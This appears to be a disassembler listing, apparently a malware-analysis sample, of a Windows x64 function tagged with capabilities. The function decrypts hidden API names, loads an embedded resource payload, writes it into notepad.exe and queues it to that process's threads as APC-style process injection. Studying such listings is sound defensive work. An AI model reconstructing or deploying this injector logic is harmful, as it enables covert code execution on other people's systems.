Function at 0x1400012c0
Capabilities:
Enumerate processes
Enumerate threads
Extract resource via kernel32 functions
Link many functions at runtime

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x290]
sub rsp, 0x390
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x280], rax
movdqa xmm0, xmmword [0x1400034c0]
movdqu xmmword [rbp + 0x270], xmm0
mov dword [rbp + 0x1f0], 0xcbdc97f6
mov dword [rbp + 0x1f4], 0xa11bd4f0
mov dword [rbp + 0x1f8], 0xf8e79f8d
mov dword [rbp + 0x1fc], 0xfcb6b499
mov dword [rbp + 0x230], 0x9b7db163
mov dword [rbp + 0x234], 0x2688448d
mov dword [rbp + 0x238], 0xa6bab416
mov dword [rbp + 0x23c], 0x5b34f95b
mov dword [rbp + 0x240], 0x6e607654
mov dword [rbp + 0x244], 0xbef00020
mov dword [rbp + 0x248], 0x3449589c
mov dword [rbp + 0x24c], 0xd25e36f2
mov dword [rbp + 0x1e0], 0x16930267
mov dword [rbp + 0x1e4], 0x73f7a0ee
mov dword [rbp + 0x1e8], 0x9b53f4d0
mov dword [rbp + 0x1ec], 0x3441dbc9
mov dword [rbp + 0x220], 0x17abb875
mov dword [rbp + 0x224], 0xbccfdac0
mov dword [rbp + 0x228], 0x38a0ab37
mov dword [rbp + 0x22c], 0x32b7f152
mov dword [rbp + 0x210], 0xa6c355fe
mov dword [rbp + 0x214], 0xfda6d40f
mov dword [rbp + 0x218], 0x1a7b79b2
mov dword [rbp + 0x21c], 0x3db0a85e
mov dword [rbp + 0x200], 0x8a89f6f2
mov dword [rbp + 0x204], 0x4a21804d
mov dword [rbp + 0x208], 0xa3922f88
mov dword [rbp + 0x20c], 0xda0609f5
mov dword [rbp + 0x250], 0x601efa99
mov dword [rbp + 0x254], 0xf856f1f6
mov dword [rbp + 0x258], 0xac16455b
mov dword [rbp + 0x25c], 0x6d1b32eb
mov dword [rbp + 0x260], 0x1871f142
mov dword [rbp + 0x264], 0x66ed8ead
mov dword [rbp + 0x268], 0x9cdba117
mov dword [rbp + 0x26c], 0x42086848
lea r8, [rbp + 0x270]
mov edx, 0x10
lea rcx, [rbp + 0x1f0]
call fcn.1400011a0
lea r8, [rbp + 0x270]
mov edx, 0x20
lea rcx, [rbp + 0x230]
call fcn.1400011a0
lea r8, [rbp + 0x270]
mov edx, 0x10
lea rcx, [rbp + 0x1e0]
call fcn.1400011a0
lea r8, [rbp + 0x270]
mov edx, 0x20
lea rcx, [rbp + 0x250]
call fcn.1400011a0
lea r8, [rbp + 0x270]
mov edx, 0x10
lea rcx, [rbp + 0x220]
call fcn.1400011a0
lea r8, [rbp + 0x270]
mov edx, 0x10
lea rcx, [rbp + 0x210]
call fcn.1400011a0
lea r8, [rbp + 0x270]
mov edx, 0x10
lea rcx, [rbp + 0x200]
call fcn.1400011a0
lea rcx, [rbp + 0x1e0]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, [rbp + 0x1f0]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r14, rax
lea rcx, [rbp + 0x1e0]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, [rbp + 0x230]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, [rbp + 0x1e0]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, [rbp + 0x200]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x48], rax
lea rcx, [rbp + 0x1e0]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, [rbp + 0x210]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x40], rax
lea rcx, [rbp + 0x1e0]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, [rbp + 0x220]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdi, rax
lea rcx, [rbp + 0x1e0]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, [rbp + 0x250]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x38], rax
mov edx, 0x64
xor ecx, ecx
lea r8d, [rdx - 0x5a]
call qword [sym.imp.KERNEL32.dll_FindResourceW]
mov rbx, rax
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
mov qword [rsp + 0x30], rax
mov rdx, rbx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov esi, eax
xor ebx, ebx
mov dword [rbp + 0x1a0], ebx
xor edx, edx
lea ecx, [rbx + 6]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov r15, rax
mov qword [rsp + 0x50], rax
cmp rax, 0xffffffffffffffff
je 0x14000172b
mov dword [rsp + 0x60], 0x238
xor edx, edx
mov r8d, 0x234
lea rcx, [rsp + 0x64]
call sub.VCRUNTIME140.dll_memset
lea rdx, [rsp + 0x60]
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x140001722
lea rdx, str.notepad.exe
lea rcx, [rbp - 0x74]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__wcsicmp]
test eax, eax
je 0x1400016ab
nop
lea rdx, [rsp + 0x60]
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
je 0x140001722
lea rdx, str.notepad.exe
lea rcx, [rbp - 0x74]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__wcsicmp]
test eax, eax
jne 0x140001680
mov r8d, dword [rsp + 0x68]
xor edx, edx
mov ecx, 0x1fffff
call rdi
mov r12, rax
mov qword [rsp + 0x58], rax
test rax, rax
je 0x140001722
mov dword [rsp + 0x20], 4
mov r9d, 0x1000
mov r8, rsi
xor edx, edx
mov rcx, rax
call r14
mov r13, rax
mov rcx, r12
test rax, rax
je 0x14000171c
mov qword [rsp + 0x20], rbx
mov r9, rsi
mov r8, qword [rsp + 0x30]
mov rdx, rax
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x140001760
mov r9d, 0x8000
xor r8d, r8d
mov rdx, r13
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
mov rcx, qword [rbp + 0x280]
xor rcx, rsp
call fcn.140001d80
lea r11, [rsp + 0x390]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
mov dword [rbp + 0x1c0], 0x1c
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x1c4], xmm0
mov qword [rbp + 0x1d4], rax
movdqu xmmword [rbp + 0x1a8], xmm0
mov qword [rbp + 0x1b8], rbx
lea rdx, [rbp + 0x1c0]
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_Thread32First]
mov rdi, qword [rbp + 0x1b0]
test eax, eax
je 0x14000180e
nop word [rax + rax]
mov eax, dword [rsp + 0x68]
cmp dword [rbp + 0x1cc], eax
jne 0x1400017fa
cmp rdi, rbx
je 0x1400017d6
mov eax, dword [rbp + 0x1c8]
mov dword [rdi], eax
add rdi, 4
mov qword [rbp + 0x1b0], rdi
jmp 0x1400017fa
lea r8, [rbp + 0x1c8]
mov rdx, rdi
lea rcx, [rbp + 0x1a8]
call fcn.140001bc0
mov rbx, qword [rbp + 0x1b8]
mov rdi, qword [rbp + 0x1b0]
lea rdx, [rbp + 0x1c0]
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_Thread32Next]
test eax, eax
jne 0x1400017b0
lea rax, [rbp + 0x1a0]
mov qword [rsp + 0x20], rax
mov r9d, 0x20
mov r8, rsi
mov rdx, r13
mov rcx, r12
call qword [rsp + 0x38]
mov rsi, qword [rbp + 0x1a8]
test eax, eax
jne 0x14000184f
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400019a0
call qword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x1400018ed
mov r14, rsi
cmp rsi, rdi
je 0x1400018c5
mov r15, qword [rsp + 0x40]
mov r12, qword [rsp + 0x48]
nop dword [rax]
nop word [rax + rax]
mov r8d, dword [r14]
mov edx, 1
mov ecx, 0x1fffff
call r15
mov rsi, rax
test rax, rax
je 0x1400018ab
xor r8d, r8d
mov rdx, rax
mov rcx, r13
call r12
mov edx, 0xffffffff
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
add r14, 4
cmp r14, rdi
jne 0x140001870
mov r15, qword [rsp + 0x50]
mov r12, qword [rsp + 0x58]
mov rsi, qword [rbp + 0x1a8]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, r13
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
test rsi, rsi
je 0x14000192c
sub rbx, rsi
and rbx, 0xfffffffffffffffc
mov rax, rsi
cmp rbx, 0x1000
jb 0x140001921
add rbx, 0x27
mov rsi, qword [rsi - 8]
sub rax, rsi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001921
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rdx, rbx
mov rcx, rsi
call fcn.140001ddc
xor eax, eax
jmp 0x140001730